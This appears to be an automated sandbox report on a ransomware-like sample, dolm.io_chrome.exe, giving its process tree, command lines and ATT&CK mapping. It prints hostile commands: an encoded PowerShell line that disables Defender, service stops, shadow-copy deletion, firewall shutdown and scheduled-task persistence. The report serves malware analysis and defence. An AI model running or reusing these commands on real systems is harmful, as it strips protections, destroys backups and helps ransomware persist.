PID 5888 wrote to memory of 4556	5888	dolm.io_chrome.exe	145
PID 5888 wrote to memory of 2164	5888	dolm.io_chrome.exe	146
PID 5888 wrote to memory of 2524	5888	dolm.io_chrome.exe	147
PID 5888 wrote to memory of 6012	5888	dolm.io_chrome.exe	155
PID 5888 wrote to memory of 4820	5888	dolm.io_chrome.exe	156
PID 5888 wrote to memory of 2824	5888	dolm.io_chrome.exe	157
PID 5888 wrote to memory of 3720	5888	dolm.io_chrome.exe	158
PID 5888 wrote to memory of 1384	5888	dolm.io_chrome.exe	159
PID 5888 wrote to memory of 4248	5888	dolm.io_chrome.exe	160
PID 5888 wrote to memory of 1516	5888	dolm.io_chrome.exe	161
PID 2164 wrote to memory of 4800	2164	cmd.exe	168
PID 3720 wrote to memory of 1400	3720	net.exe	169
PID 3288 wrote to memory of 4240	3288	cmd.exe	180
PID 2328 wrote to memory of 4264	2328	cmd.exe	171
PID 5268 wrote to memory of 380	5268	cmd.exe	172
PID 4556 wrote to memory of 3556	4556	cmd.exe	173
PID 1252 wrote to memory of 5064	1252	cmd.exe	174
PID 3968 wrote to memory of 4396	3968	cmd.exe	175
PID 4264 wrote to memory of 3732	4264	net.exe	176
PID 3288 wrote to memory of 4568	3288	cmd.exe	177
PID 4716 wrote to memory of 4328	4716	chrome.exe	178
PID 4716 wrote to memory of 4240	4716	chrome.exe	180
PID 4716 wrote to memory of 5644	4716	chrome.exe	179
PID 4716 wrote to memory of 4240	4716	chrome.exe	180
PID 4716 wrote to memory of 5644	4716	chrome.exe	179
PID 4716 wrote to memory of 4088	4716	chrome.exe	183
PID 4716 wrote to memory of 4088	4716	chrome.exe	183
PID 4716 wrote to memory of 5712	4716	chrome.exe	184
PID 4716 wrote to memory of 5712	4716	chrome.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://dolm.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9d40bc728,0x7ff9d40bc734,0x7ff9d40bc740
    3⤵
    PID:2364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1492,i,7705721305764064173,15805553154051753709,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1620,i,10086198708032604161,6915018280202322823,262144 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=1924 /prefetch:2
    3⤵
    PID:5540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,4193868455339329471,2264408707018138510,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:13
    3⤵
    PID:1764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,7385818219804230573,1693816587963104793,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:2368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,2663164963114028156,17915884328502759480,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:1
    3⤵
    PID:2408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5392,i,10626645848862058828,3041946510166473080,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:14
    3⤵
    PID:4328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5456,i,1056604311076350165,6762168947748089247,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    PID:5644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5468,i,7828281411582996758,12678695243809136418,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:1
    3⤵
    PID:4240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5224,i,4895359991837210325,11666391196455844118,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:1
    3⤵
    PID:4088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5628,i,2575114280356796777,310917190635466416,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:1
    3⤵
    PID:5712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5952,i,10762252389262897562,2840819788035090942,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:1
    3⤵
    PID:4884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5924,i,3618020355505535351,17999211288444699553,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    PID:4536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5220,i,1836841017689954902,7261895851641617679,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:1
    3⤵
    PID:3320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5708,i,9566917063310311328,5343025227569229837,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:1
    3⤵
    PID:2300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5288,i,6334395862445764155,8930895141743538141,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
    3⤵
    PID:4620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5196,i,11523792331385724798,1395611758836491672,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:14
    3⤵
    PID:4164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5532,i,12687135284625672211,2359471245837326310,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
    3⤵
    PID:4604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5424,i,6685752137346436179,7964642193845368797,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
    3⤵
    PID:5736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6148,i,17517600667605126789,7475480677230781088,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:14
    3⤵
    PID:5084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5408,i,15685582100891219331,4636477033441856393,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:14
    3⤵
    PID:4236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5700,i,1867720892294772901,630812800282451513,524288 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:14
    3⤵
    PID:1244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6156,i,10535558585568476205,631921516014367858,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:9
    3⤵
    PID:4424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5768,i,5339588669147348456,7317392871209723879,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
    3⤵
    PID:1908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6032,i,7850990464055309883,10913165373663000870,2097152 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:1
    3⤵
    PID:704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5420,i,15769674449612458145,5861132677938618555,262144 --field-trial-handle=1928,i,18182514037954764164,4232051766851249144,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:10
    3⤵
    PID:5216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:6032
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:6024
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5772
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe"
    3⤵
    PID:3628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:612
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2504
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4896
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3372
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5092
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2664
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4264
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4800
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2524
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6012
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4820
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2824
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1400
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1384
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4248
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1516

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5876

C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe
1⤵
PID:1760

C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\dolm.io_chrome.exe
1⤵
PID:4616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5112

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery